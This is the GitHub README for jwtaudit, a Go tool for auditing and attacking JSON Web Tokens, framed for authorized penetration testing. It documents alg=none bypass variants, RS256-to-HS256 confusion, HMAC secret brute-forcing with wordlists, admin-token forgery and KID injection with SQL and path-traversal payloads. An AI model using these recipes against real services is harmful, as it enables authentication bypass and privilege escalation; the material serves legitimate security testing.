Skip to content

thevillagehacker/JWT-auditor

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

11 Commits
 
 
 
 
 
 
 
 

Repository files navigation

jwtaudit — JWT Security Audit Framework

A full-featured, interactive security audit tool for JSON Web Tokens. Built in pure Go. Runs everywhere. No dependencies.


Table of Contents

  1. What is jwtaudit?
  2. Installation & Setup
  3. The Interactive Shell
  4. Loading & Decoding Tokens
  5. Security Audit
  6. Forging Tokens
  7. The Draft Builder
  8. Encoding Tokens
  9. Signature Verification
  10. Key Generation
  11. Brute-Force Secrets
  12. JSON Input Methods
  13. Algorithm Support
  14. Security Checks Reference
  15. Attack Workflows
  16. Command Quick Reference

1. What is jwtaudit?

jwtaudit is a command-line security audit framework for JSON Web Tokens (JWT). It is designed for security engineers, penetration testers, and developers who need to thoroughly inspect, test, and challenge JWT implementations.

Where most JWT tools stop at base64 decoding, jwtaudit goes further — it runs automated vulnerability checks, generates exploit tokens, brute-forces secrets, and supports the full spectrum of asymmetric cryptography (RSA and ECDSA), all from a single interactive shell.

What makes it different

  • Interactive REPL shell — like GDB, but for JWTs. Load a token, run commands, build attacks step by step.
  • 15+ automated security checks — covering algorithm weaknesses, missing claims, PII leakage, injection attacks, and more.
  • Full signing support — HMAC (HS256/384/512), RSA (RS256/384/512, PS256/384/512), and ECDSA (ES256/384/521).
  • Attack toolkit built in — none-algorithm bypass, algorithm confusion, KID injection, payload forging, and signature re-signing.
  • Zero dependencies — pure Go standard library. One binary, every platform.

Supported platforms

Platform Binary
Linux x86_64 jwtaudit-linux-amd64
Linux ARM64 (Raspberry Pi, AWS Graviton) jwtaudit-linux-arm64
macOS Intel jwtaudit-macos-amd64
macOS Apple Silicon (M1/M2/M3) jwtaudit-macos-arm64
Windows x64 jwtaudit-windows-amd64.exe

2. Installation & Setup

Pre-built binary (recommended)

Download the binary for your platform and make it executable:

# Linux / macOS
chmod +x jwtaudit-linux-amd64
mv jwtaudit-linux-amd64 /usr/local/bin/jwtaudit

# Verify
jwtaudit --version   # or just: jwtaudit

On Windows, place jwtaudit-windows-amd64.exe anywhere in your PATH and rename it to jwtaudit.exe.

Build from source

Requires Go 1.22+. Zero external dependencies.

git clone https://github.com/yourorg/jwtaudit
cd jwtaudit
go build -o jwtaudit .

# Cross-compile for other platforms
GOOS=darwin  GOARCH=arm64  go build -o jwtaudit-macos-arm64 .
GOOS=windows GOARCH=amd64  go build -o jwtaudit-windows.exe .

Starting jwtaudit

Interactive shell (most common use case):

Load a token directly from the command line:

jwtaudit eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0In0.xxxxx

This starts the shell with the token already loaded and decoded.


3. The Interactive Shell

jwtaudit runs as an interactive REPL (Read-Eval-Print Loop). Every command is typed at the prompt, and the session is stateful — what you load persists until you load something new.

The prompt

jwtaudit [HS256|alice] ❯

The prompt tells you three things at a glance:

  • jwtaudit — the tool name
  • [HS256|alice] — the current token's algorithm and sub claim
  • * (yellow asterisk, if present) — you have an unsaved draft being built

When no token is loaded:

jwtaudit (no token) ❯

Getting help

jwtaudit (no token) ❯ help

Displays the full command reference, input method guide, and example workflows.

Session history

jwtaudit [HS256|alice] ❯ history

Shows every command entered during the current session, numbered. Useful for retracing your steps during a pentest.

Clearing the screen

jwtaudit [HS256|alice] ❯ clear

Clears the terminal and redraws the banner. The loaded token and draft are preserved.

Exiting

jwtaudit [HS256|alice] ❯ exit

Also accepts quit and q.


4. Loading & Decoding Tokens

load — Load a token

load <jwt_token>

Parses the token into header, payload, and signature. Auto-displays a decoded view on success. The draft is reset.

jwtaudit (no token) ❯ load eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhbGljZSIsInJvbGUiOiJ1c2VyIn0.SflKxw...

✓ Token loaded. Draft cleared.

┌─── JWT DECODED ─────────────────────────────────────────────┐
│ HEADER
│  Algorithm : HS256
│  Type      : JWT
│
│ PAYLOAD
│  {
│    "sub": "alice",
│    "role": "user"
│  }
│
│ SIGNATURE
│  SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQ...
└─────────────────────────────────────────────────────────────┘

The algorithm is color-coded:

  • 🟢 Green — strong asymmetric algorithm (RS256, ES256, etc.)
  • 🟡 Yellow — symmetric HMAC (HS256/384/512) — secret must be protected
  • 🔴 Red + Warningnone algorithm — no signature at all

decode — Decode the current token

decode

Re-displays the decoded view of the currently loaded token. Useful after a forge operation. Short alias: d.


claims — Inspect payload claims

claims

Prints every payload claim with its type, raw value, and a human-readable label for registered claims. Timestamps (exp, iat, nbf) are decoded into UTC dates alongside the raw Unix integer.

jwtaudit [HS256|alice] ❯ claims

┌─── PAYLOAD CLAIMS ──────────────────────────────────────────┐
  Claim            Type         Value
  ────────────────────────────────────────────────────────────
  sub              string       alice                  (Subject)
  role             string       user
  iat              number       1516239022  (2018-01-18 01:30:22 UTC)  (Issued At)
  exp              number       1893456000  (2030-01-01 00:00:00 UTC)  (Expiry)
└─────────────────────────────────────────────────────────────┘

header — Inspect header fields

header

Displays each header field with inline security risk annotations.

jwtaudit [HS256|alice] ❯ header

┌─── HEADER ANALYSIS ─────────────────────────────────────────┐
  alg        = HS256   ⚠ Symmetric — secret must stay private
  typ        = JWT
  kid        = key-01  ⚠ Risk: SQL/path injection via key lookup
└─────────────────────────────────────────────────────────────┘

Fields that trigger warnings include kid, jku, x5u, jwk, x5c, and alg=none.


time — Analyze token timing

time

Performs a complete time-based analysis of the token against the current system clock:

jwtaudit [HS256|alice] ❯ time

┌─── TOKEN TIMING ANALYSIS ───────────────────────────────────┐
│  Current time: 2025-06-01 09:30:00 UTC
│  Issued At  : 2018-01-18 01:30:22 UTC  (age: 7y 4m 14d)
│  Expires At : 2030-01-01 00:00:00 UTC  [expires in 4y 7m]
│  Lifetime   : 12y 0m                   ⚠ VERY LONG (>1yr)
└─────────────────────────────────────────────────────────────┘
Color Meaning
🟢 Green Token is valid and not expiring soon
🟡 Yellow Expiring within 1 hour
🔴 Red Expired, or expiring within 5 minutes

Missing claims (iat, exp) are flagged explicitly.


5. Security Audit

audit — Automated security audit

audit

Runs 15+ security checks against the current token and produces a full findings report with severities, details, and remediation advisories. Every pentest session should start here.

jwtaudit [HS256|alice] ❯ audit

┌─── SECURITY AUDIT RESULTS ──────────────────────────────────┐
  Token: eyJhbGciOiJIUzI1NiIsInR5...
  Checks run: 15+   Findings: 4

  [1] [HIGH] Missing 'exp' Claim (No Expiry)
      Detail  : Token has no expiration time — valid forever unless revoked.
      Advisory: Always set 'exp'. Use short-lived tokens (15min–1hr) + refresh tokens.

  [2] [MEDIUM] Missing 'iss' Claim (Issuer)
      Detail  : No issuer field. Server cannot validate the token's origin.
      Advisory: Include 'iss' and validate it against a whitelist server-side.

  [3] [HIGH] Privileged Role Claim: role=admin
      Detail  : Token contains elevated privileges. If forged → privilege escalation.
      Advisory: Validate roles server-side from a trusted database.

  [4] [LOW] HS256 Used (Symmetric Algorithm)
      Detail  : HS256 uses a shared secret. If it leaks, tokens can be forged.
      Advisory: Prefer RS256/ES256 for asymmetric key signing.

  Risk Score: 58/100
└─────────────────────────────────────────────────────────────┘

Severity levels

Level Color Meaning
CRITICAL 🔴 Directly exploitable. Immediate action required.
HIGH 🔴 Serious risk. Likely exploitable in context.
MEDIUM 🟡 Weakens security posture or enables chained attacks.
LOW 🔵 Best practice violation or minor informational risk.
INFO Gray Informational — worth noting but not a direct risk.

Risk score

The audit produces a risk score from 0–100:

  • Each CRITICAL finding deducts 25 points
  • Each HIGH deducts 15
  • Each MEDIUM deducts 7
  • Each LOW deducts 3
  • Each INFO deducts 1

A score below 60 is shown in red. Below 80 in yellow. 80+ in green.


6. Forging Tokens

The forge command is the attack toolkit. All forge operations output a token with the original signature preserved (making it invalid for signature-checking servers) unless you follow up with forge sign to re-sign with a known key.

The typical attack flow:
forge <something> → get modified token → forge sign <secret> → get a valid, forged token


forge none — Algorithm bypass

forge none

Generates four variants of the current token with the algorithm changed to none. Servers with misconfigured algorithm validation may accept these without verifying the signature.

jwtaudit [HS256|alice] ❯ forge none

⚠  FORGE: None Algorithm Bypass
   Test all variants — servers may reject some case-insensitively.

  [alg=none  ] eyJhbGciOiJub25lIi....<payload>.
  [alg=None  ] eyJhbGciOiJOb25lIi....<payload>.
  [alg=NONE  ] eyJhbGciOiJOT05FIi....<payload>.
  [alg=nOnE  ] eyJhbGciOiJuT25FIi....<payload>.

  [orig sig]   <original header>.<payload>.<original_sig>
  [empty sig]  <none header>.<payload>.

The variants cover different case combinations because some JWT libraries do case-insensitive algorithm matching. The [orig sig] variant tests libraries that verify the signature format but not the actual cryptographic check.


forge payload — Mutate a single claim

forge payload <key> <value>

Replaces (or adds) a single payload claim and outputs the modified token. Values are automatically coerced: true/false become booleans, numbers become numeric.

jwtaudit [HS256|alice] ❯ forge payload role admin

⚠  FORGE: Payload modified: role → admin
   Signature is INVALID. Use 'forge sign <secret>' to re-sign.

  Payload preview:
  {
    "sub":  "alice",
    "role": "admin"
  }

eyJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoiYWRtaW4iLCJzdWIiOiJhbGljZSJ9.<original_sig>

forge multi — Mutate multiple claims at once

forge multi <key=value> [key=value ...]

Mutates several payload claims in a single operation using key=value pairs.

jwtaudit [HS256|alice] ❯ forge multi role=admin isAdmin=true sub=administrator

⚠  FORGE: Multi-claim forge: role=admin, isAdmin=true, sub=administrator

This is faster than chaining multiple forge payload commands and useful when escalating privileges requires changing several claims simultaneously.


forge json — Replace full payload

forge json <payload_json>
forge json @<filepath>
forge json -

Replaces the entire payload with the JSON you provide. The header and original signature are preserved. Supports all three input methods (see Section 12).

jwtaudit [HS256|alice] ❯ forge json { "sub": "admin", "role": "superuser", "exp": 9999999999 }

Or read from a file:

jwtaudit [HS256|alice] ❯ forge json @/tmp/evil_payload.json

forge header — Replace full header

forge header <header_json>

Replaces the entire header. Useful for algorithm confusion attacks — for example, changing alg from RS256 to HS256 before re-signing with the server's public key as the HMAC secret.

jwtaudit [HS256|alice] ❯ forge header { "alg": "HS256", "typ": "JWT", "kid": "attacker" }

forge full — Replace both header and payload

forge full <header_json> <payload_json>

Replaces both header and payload in one step. Both arguments support @file and - input.

jwtaudit [HS256|alice] ❯ forge full { "alg": "HS256", "typ": "JWT" } { "sub": "root", "role": "admin", "exp": 9999999999 }

forge kid — KID injection

forge kid <payload>
forge kid ?

Injects a custom value into the kid (Key ID) header parameter. The kid field is used by servers to look up the signing key — if it's used unsanitized in a database query or file path, it becomes an injection vector.

Use forge kid ? to display and generate tokens for all built-in injection payloads:

jwtaudit [HS256|alice] ❯ forge kid ?

⚠  KID Injection Payloads:

  [SQL union            ] eyJ...header_with_sql_kid....<payload>.<sig>
  [SQL or1=1            ] eyJ...
  [SQL drop             ] eyJ...
  [Path /dev/null       ] eyJ...
  [Path /etc/passwd     ] eyJ...
  [Path /proc/fd        ] eyJ...
  [Cmd injection        ] eyJ...
  [Null byte            ] eyJ...

Custom payload example:

jwtaudit [HS256|alice] ❯ forge kid ../../etc/shadow

forge sign — Re-sign a forged token

forge sign <secret_or_keyfile>

Takes the current token (or draft) and re-signs it with the provided key. This is the final step that turns an unsigned forged token into a cryptographically valid one.

The algorithm is read from the token's header — you don't need to specify it:

Header alg What to pass
HS256 / HS384 / HS512 The HMAC secret string
RS256 / RS384 / RS512 / PS256 / PS384 / PS512 Path to a PEM-encoded RSA private key
ES256 / ES384 / ES521 Path to a PEM-encoded EC private key
# HMAC re-signing after brute-forcing the secret
jwtaudit [HS256|alice] ❯ forge payload role admin
jwtaudit [HS256|alice] ❯ forge sign mysecret
✓ Token signed and ready (HS256):
eyJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoiYWRtaW4iLCJzdWIiOiJhbGljZSJ9.VALID_SIG

# RSA re-signing
jwtaudit [RS256|alice] ❯ forge payload role admin
jwtaudit [RS256|alice] ❯ forge sign /path/to/rsa_private.pem
✓ Token signed and ready (RS256):
eyJhbGciOiJSUzI1NiJ9...

After signing, the new token is automatically loaded as the current token, and any draft is cleared.


7. The Draft Builder

The draft builder lets you construct a token incrementally — field by field — before encoding or signing it. This is the cleanest way to build tokens from scratch.

The prompt shows a * (yellow asterisk) whenever you have an active draft.


set header — Set a header field

set header <key> <value>
jwtaudit (no token) ❯ set header alg RS256
  ✓ header.alg = RS256
jwtaudit (no token)* ❯ set header typ JWT
  ✓ header.typ = JWT

set payload — Set a payload field

set payload <key> <value>

Values are coerced to the right type automatically: true/false → boolean, numeric strings → number, everything else → string.

jwtaudit (no token)* ❯ set payload sub alice
  ✓ payload.sub = alice
jwtaudit (no token)* ❯ set payload role admin
  ✓ payload.role = admin
jwtaudit (no token)* ❯ set payload isAdmin true
  ✓ payload.isAdmin = true    ← stored as boolean, not string

set exp — Set expiry

set exp +<minutes>      # relative to now
set exp <unix_timestamp>
jwtaudit (no token)* ❯ set exp +60
  ✓ payload.exp = 1748793600  (2025-06-01 10:30:00 UTC)

jwtaudit (no token)* ❯ set exp +43200   # 30 days from now
  ✓ payload.exp = 1751385600  (2025-07-01 09:30:00 UTC)

set iat — Set issued-at to now

set iat now
jwtaudit (no token)* ❯ set iat now
  ✓ payload.iat = 1748790000  (now)

set show — Preview the draft

set show

Displays the current draft header and payload in full, colorized JSON. Use this to review before encoding.

jwtaudit (no token)* ❯ set show

  Draft Header:
  {
    "alg": "HS256",
    "typ": "JWT"
  }
  Draft Payload:
  {
    "exp": 1748793600,
    "iat": 1748790000,
    "role": "admin",
    "sub":  "alice"
  }

set reset — Clear the draft

set reset

Resets the draft back to the values of the currently loaded token (or empty if no token is loaded). The * indicator disappears from the prompt.


Complete draft builder workflow

jwtaudit (no token) ❯ set header alg HS256
jwtaudit (no token)* ❯ set header typ JWT
jwtaudit (no token)* ❯ set payload sub alice
jwtaudit (no token)* ❯ set payload role admin
jwtaudit (no token)* ❯ set payload email alice@example.com
jwtaudit (no token)* ❯ set iat now
jwtaudit (no token)* ❯ set exp +120
jwtaudit (no token)* ❯ set show          # review before committing
jwtaudit (no token)* ❯ encode draft supersecret
✓ Token encoded (HS256):
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6ImFsaWNlQGV4...
  Token auto-loaded. Draft cleared.
jwtaudit [HS256|alice] ❯

8. Encoding Tokens

encode — Sign and encode a JWT

encode <header_json> <payload_json> <key>
encode draft <key>

Encodes a new JWT from scratch. The algorithm is read from the header's alg field — no need to specify it separately. The key argument is either an HMAC secret string or a path to a PEM key file.

Unquoted JSON with spaces (the most natural form):

jwtaudit (no token) ❯ encode { "alg": "HS256", "typ": "JWT" } { "sub": "alice", "role": "admin" } supersecret
✓ Token encoded (HS256):
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

Quoted JSON:

jwtaudit (no token) ❯ encode '{"alg":"RS256","typ":"JWT"}' '{"sub":"alice"}' /path/to/private.pem
✓ Token encoded (RS256):
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9...

From files:

jwtaudit (no token) ❯ encode @/tmp/header.json @/tmp/payload.json private.pem

From draft:

jwtaudit (no token)* ❯ encode draft supersecret

After encoding, the token is automatically loaded and the draft is cleared.


9. Signature Verification

verify — Verify the current token

verify <public_key_or_secret>

Verifies whether the current token's signature is valid using the provided key or secret. The algorithm is detected automatically from the header.

HMAC verification:

jwtaudit [HS256|alice] ❯ verify supersecret
  Algorithm : HS256
  Verifying : eyJhbGciOiJIUzI1NiIsInR5cCI6Ikp...

  ✓ SIGNATURE VALID
    Token signature verified successfully.

RSA verification:

jwtaudit [RS256|alice] ❯ verify /path/to/public.pem
  Algorithm : RS256
  Verifying : eyJhbGciOiJSUzI1NiIsInR5cCI6Ikp...

  ✓ SIGNATURE VALID
    Token signature verified successfully.

Failed verification:

jwtaudit [RS256|alice] ❯ verify /path/to/wrong_public.pem

  ✗ SIGNATURE INVALID
    crypto/rsa: verification error
    Token may have been tampered with, or wrong key used.

alg=none special case:

jwtaudit [none|alice] ❯ verify anything

  ⚠ CRITICAL: Algorithm is 'none' — no signature to verify!

Key formats supported

verify (and encode/forge sign) can load keys from:

  • PEM files — RSA private/public, EC private/public, X.509 certificates
  • PKCS1 format (BEGIN RSA PRIVATE KEY)
  • PKCS8 format (BEGIN PRIVATE KEY)
  • PKIX/SPKI format (BEGIN PUBLIC KEY)
  • X.509 certificates (BEGIN CERTIFICATE) — extracts the public key
  • Inline PEM — the full PEM string directly on the command line (escape \n as literal \n)

10. Key Generation

keygen — Generate a key pair

keygen rsa [2048|4096]
keygen ec [256|384|521]

Generates a fresh key pair and prints both the private and public key in PEM format. The keys are printed to stdout so you can copy or redirect them to files.

RSA key pair:

jwtaudit (no token) ❯ keygen rsa 2048

✓ RSA-2048 Key Pair Generated

── PRIVATE KEY (keep secret — use for signing) ──
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA2a2rwplBQLF29amygykEMmYz0+Kcj3bKBp29P2rFj7JoV9...
-----END RSA PRIVATE KEY-----

── PUBLIC KEY (share freely — use for verification) ──
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2a2rwplBQLzQNwlb...
-----END PUBLIC KEY-----

  Tip: save these to files and use with encode/forge sign/verify:
    encode { "alg": "RS256" } { "sub": "user" } private.pem
    verify public.pem

EC key pair:

jwtaudit (no token) ❯ keygen ec 256

✓ EC P-256 Key Pair Generated

── PRIVATE KEY (keep secret — use for signing) ──
-----BEGIN EC PRIVATE KEY-----
MHQCAQEEIBkg4LBORZUC7GFolhKAGNNjdNkBmMuNrfv5vFP5...
-----END EC PRIVATE KEY-----

── PUBLIC KEY (share freely — use for verification) ──
-----BEGIN PUBLIC KEY-----
MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEQ2f8...
-----END PUBLIC KEY-----

Key size recommendations

Algorithm Key Type Recommended Size Notes
RS256 / RS384 / RS512 RSA 2048 bits minimum 4096 for long-lived tokens
PS256 / PS384 / PS512 RSA + PSS 2048 bits minimum Same key type as RS*
ES256 EC P-256 Fast, compact signatures
ES384 EC P-384 Higher security margin
ES521 EC P-521 Maximum EC security

11. Brute-Force Secrets

brute — Brute-force HMAC signing secret

brute builtin
brute <wordlist_file>

Attempts to recover the HMAC signing secret by trying passwords against the current token's signature. Only works on HS256, HS384, and HS512 tokens.

Built-in wordlist (165+ secrets):

jwtaudit [HS256|alice] ❯ brute builtin
  Using built-in wordlist (165 secrets)...

  Trying...............

  ✓ SECRET FOUND: "supersecret"
  You can now forge any token with this secret.
  Next: forge payload role admin  →  forge sign supersecret

Custom wordlist:

jwtaudit [HS256|alice] ❯ brute /usr/share/wordlists/rockyou.txt
  Loaded 14344392 secrets from /usr/share/wordlists/rockyou.txt

  Trying............................................................

  ✓ SECRET FOUND: "password123"

When the secret is not found:

  ✗ Secret not found in wordlist.
  Try a larger custom wordlist: brute /path/to/rockyou.txt

What the built-in wordlist covers

The built-in list includes common developer secrets across several categories:

  • Generic weak passwords: secret, password, 123456, qwerty
  • JWT-specific defaults: jwt_secret, JWT_SECRET, signing_key, jwtSecret
  • Framework defaults: flask, django, rails, laravel, spring, express
  • Placeholder values: CHANGEME, replace_this, TODO, your_secret_key
  • Short/empty values: "", "a", "0", "1"
  • Common variations: secret123, Secret123, secret!, mysecret

After finding the secret

Once the secret is found, the typical next step is full token forgery:

jwtaudit [HS256|alice] ❯ forge payload role admin
jwtaudit [HS256|alice] ❯ forge payload sub administrator
jwtaudit [HS256|alice] ❯ set exp +999999
jwtaudit [HS256|alice]* ❯ forge sign supersecret
✓ Token signed and ready (HS256):
eyJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoiYWRtaW4iLCJzdWIiOiJhZG1pbmlzdHJhdG9yIn0.VALID

12. JSON Input Methods

Many commands accept JSON arguments. jwtaudit supports four input methods that can be used interchangeably.

Method 1: Unquoted JSON with spaces

The most natural form — just type JSON directly, spaces and all. The parser is brace-aware and treats { ... } as a single argument:

forge json { "sub": "admin", "role": "superuser", "exp": 9999999999 }
encode { "alg": "RS256", "typ": "JWT" } { "sub": "alice" } private.pem

Method 2: Quoted JSON (single or double quotes)

Useful in scripts or when the JSON is compact:

forge json '{"sub":"admin","role":"superuser"}'
forge json "{\"sub\":\"admin\"}"

Method 3: File input with @

Prefix a file path with @ to read JSON from a file:

forge json @/tmp/evil_payload.json
forge full @/tmp/header.json @/tmp/payload.json
encode @/tmp/header.json @/tmp/payload.json private.pem

File contents can be pretty-printed or minified JSON — both work.

Method 4: Stdin paste with -

Use - to paste JSON interactively. The tool prompts you to enter lines, and submits when you enter a blank line:

jwtaudit [HS256|alice] ❯ forge json -
  Paste JSON (end with a blank line):
{"sub":"admin","role":"superuser","exp":9999999999,"iss":"internal","aud":"api"}

⚠  FORGE: Full payload replaced

This is useful when you have a JSON payload in your clipboard and don't want to write it to a file.


13. Algorithm Support

jwtaudit supports the full range of JWT signing algorithms.

Algorithm Type Key Material Notes
HS256 HMAC-SHA256 Shared secret string Symmetric — both sides use same key
HS384 HMAC-SHA384 Shared secret string Longer hash, same key format
HS512 HMAC-SHA512 Shared secret string Longest hash variant
RS256 RSA-SHA256 (PKCS1v15) RSA private/public key Most common asymmetric algorithm
RS384 RSA-SHA384 (PKCS1v15) RSA private/public key
RS512 RSA-SHA512 (PKCS1v15) RSA private/public key
PS256 RSA-PSS-SHA256 RSA private/public key PSS padding variant
PS384 RSA-PSS-SHA384 RSA private/public key
PS512 RSA-PSS-SHA512 RSA private/public key
ES256 ECDSA-SHA256 (P-256) EC private/public key Compact signatures
ES384 ECDSA-SHA384 (P-384) EC private/public key
ES521 ECDSA-SHA512 (P-521) EC private/public key
none No signature N/A Security bypass vector

All signing (encode, forge sign) and verification (verify) commands auto-detect the algorithm from the token header.


14. Security Checks Reference

The audit command runs the following checks:

Algorithm Checks

Check Severity Triggered When
Algorithm 'none' Bypass CRITICAL alg header is none, None, or NONE
HS256 Symmetric Algorithm LOW Token uses HS256
RS→HS Confusion Surface INFO Token uses an RS* algorithm

Claim Checks

Check Severity Triggered When
Missing exp (No Expiry) HIGH exp claim is absent
Token is Expired HIGH exp is in the past
Excessive Lifetime (>1 year) MEDIUM exp - iat > 365 days
Long Lifetime (>30 days) LOW exp - iat > 30 days
Missing iat (Issued At) MEDIUM iat claim is absent
Missing iss (Issuer) MEDIUM iss claim is absent
Missing aud (Audience) MEDIUM aud claim is absent
Missing jti (JWT ID) LOW jti claim is absent

Payload Content Checks

Check Severity Triggered When
Sensitive Data in Payload HIGH Claim key contains: password, secret, api_key, cvv, pin, private, credential, etc.
PII in Payload MEDIUM Claim key contains: email, phone, dob, address, name, passport, etc.
Privileged Role Claim HIGH role, roles, scope, isAdmin contains admin, root, superuser, or *

Header Injection Checks

Check Severity Triggered When
SQL Injection in kid CRITICAL kid value contains SQL keywords (', --, union, select, etc.)
Path Traversal in kid CRITICAL kid value contains ../, /etc/, C:\, etc.
Dangerous jku Header CRITICAL jku header is present (remote JWKS URL)
Dangerous x5u Header CRITICAL x5u header is present (remote X.509 URL)
Dangerous jwk Header CRITICAL jwk header is present (embedded JWK)
Dangerous x5c Header HIGH x5c header is present (embedded cert chain)

Signature Checks

Check Severity Triggered When
Empty Signature CRITICAL Signature part is empty
Suspiciously Short Signature HIGH Signature is under 20 characters

15. Attack Workflows

These are complete, step-by-step attack playbooks for common JWT vulnerabilities.


Workflow 1: Full HS256 Audit and Token Forgery

The classic pentest flow for an HMAC-signed token.

# Step 1: Load the token and decode it
load eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhbGljZSIsInJvbGUiOiJ1c2VyIn0.xxx

# Step 2: Run the security audit — look for weak claims and high-risk headers
audit

# Step 3: Inspect timing and privileges
time
claims

# Step 4: Brute-force the signing secret
brute builtin
# or with rockyou:
# brute /usr/share/wordlists/rockyou.txt

# Step 5: Once secret found ("supersecret"), forge a privileged token
forge payload role admin
forge sign supersecret

# Step 6: Verify the forged token is now valid
verify supersecret

# Done — submit the forged token to the application

Workflow 2: alg=none Bypass

Tests whether the server enforces algorithm validation.

# Step 1: Load target token
load <target_token>

# Step 2: Optionally escalate privileges first
forge payload role admin

# Step 3: Generate none-algorithm bypass variants
forge none
# Outputs 6 variants — test each against the server:
# [alg=none], [alg=None], [alg=NONE], [alg=nOnE]
# [orig sig], [empty sig]

Test each variant with your HTTP client. A vulnerable server will accept any of these without verifying the signature.


Workflow 3: Algorithm Confusion Attack (RS256 → HS256)

When a server supports both RSA and HMAC signing and the public key is obtainable.

# Step 1: Load an RS256 token
load <rs256_token>

# Step 2: Obtain the server's RSA public key
# (from JWKS endpoint, certificate, or application source)
# Save it to /tmp/public.pem

# Step 3: Verify the original token (sanity check)
verify /tmp/public.pem

# Step 4: Forge a new header claiming HS256 with escalated payload
forge full { "alg": "HS256", "typ": "JWT" } { "sub": "admin", "role": "superuser" }

# Step 5: Re-sign using the RSA PUBLIC key as the HMAC secret
forge sign /tmp/public.pem

# Step 6: Submit the forged HS256 token to the server
# A vulnerable server will verify it using the public key as an HMAC key

Workflow 4: KID Injection Attack

When the kid header parameter is used unsafely in database queries or file reads.

# Step 1: Load target token
load <target_token>

# Step 2: Inspect the kid header
header

# Step 3: Try all built-in KID injection payloads
forge kid ?
# Outputs tokens for SQL injection, path traversal, command injection

# Step 4: Try a specific SQL injection payload
forge kid "' UNION SELECT 'attacker_secret' --"

# Step 5: Re-sign with the injected secret (if SQL injection returns controllable key)
forge sign attacker_secret

# Step 6: Test path traversal to /dev/null (makes signature verify against empty string)
forge kid ../../dev/null
forge sign ""

Workflow 5: Build an RS256 Token from Scratch

For testing RS256 endpoints in development or during bug bounty recon.

# Step 1: Generate a fresh RSA key pair
keygen rsa 2048
# Copy output to private.pem and public.pem

# Step 2: Build the token
encode { "alg": "RS256", "typ": "JWT" } { "sub": "alice", "role": "admin", "iss": "auth.example.com", "aud": "api.example.com" } private.pem

# Step 3: Verify it signs correctly
verify public.pem

# Step 4: Run the security audit on your own token
audit

Workflow 6: EC/ECDSA Token Workflow

# Step 1: Generate P-256 key pair
keygen ec 256
# Copy output to ec_private.pem and ec_public.pem

# Step 2: Build the token using draft builder
set header alg ES256
set header typ JWT
set payload sub alice
set payload role admin
set payload iss auth.example.com
set iat now
set exp +3600    # 60 hours
set show         # review before encoding
encode draft ec_private.pem

# Step 3: Verify the signature
verify ec_public.pem

# Step 4: Audit it
audit

Workflow 7: Token Reconnaissance (No Secret Needed)

Even without knowing the secret, you can gather significant intelligence from a token.

# Step 1: Load and decode
load <target_token>
decode

# Step 2: Full audit — look for vulnerabilities that don't require secret knowledge
audit

# Step 3: Check for dangerous headers
header

# Step 4: Analyze timing — is the token expired? Long-lived? No expiry?
time

# Step 5: Enumerate all claims — look for PII, sensitive data, privilege claims
claims

# Step 6: Try none bypass (doesn't require knowing the secret)
forge none
# → Test each variant against the server

# Step 7: Try KID injection if kid is present
forge kid ?

16. Command Quick Reference

Command Short Description
load <token> Load a JWT token
decode d Decode and display current token
claims c List payload claims
header Show header with risk annotations
time t Analyze token timing
audit a Run full security audit
forge none f none Generate none-algorithm bypass variants
forge payload <k> <v> f payload Mutate a single payload claim
forge multi <k=v>... f multi Mutate multiple payload claims
forge json <json> f json Replace full payload
forge header <json> f header Replace full header
forge full <hdr> <pay> f full Replace header and payload
forge kid <val> f kid KID header injection
forge sign <key> f sign Re-sign current/draft token
set header <k> <v> Set draft header field
set payload <k> <v> Set draft payload field
set exp +<min> Set expiry relative to now
set iat now Set issued-at to now
set show Preview current draft
set reset Reset draft to loaded token
encode <hdr> <pay> <key> e Encode and sign a new JWT
encode draft <key> e draft Encode from draft
verify <key> v Verify current token's signature
keygen rsa [bits] kg rsa Generate RSA key pair
keygen ec [bits] kg ec Generate EC key pair
brute builtin b builtin Brute-force with built-in wordlist
brute <file> b <file> Brute-force with custom wordlist
history Show session command history
clear Clear screen
help h, ? Show help
exit q, quit Exit jwtaudit

Legal Disclaimer

jwtaudit is intended for authorized security testing, penetration testing, and educational purposes only.

Using this tool against systems you do not have explicit written permission to test is illegal in most jurisdictions. The authors accept no liability for misuse.

Always operate within the scope of your engagement and in accordance with applicable laws and regulations.


jwtaudit v2.1 — Built with pure Go, zero dependencies.
For authorized security testing only.

About

jwtaudit — JWT Security Audit Framework

Resources

Stars

Watchers

Forks

Releases

Packages

Used by

Contributors

Languages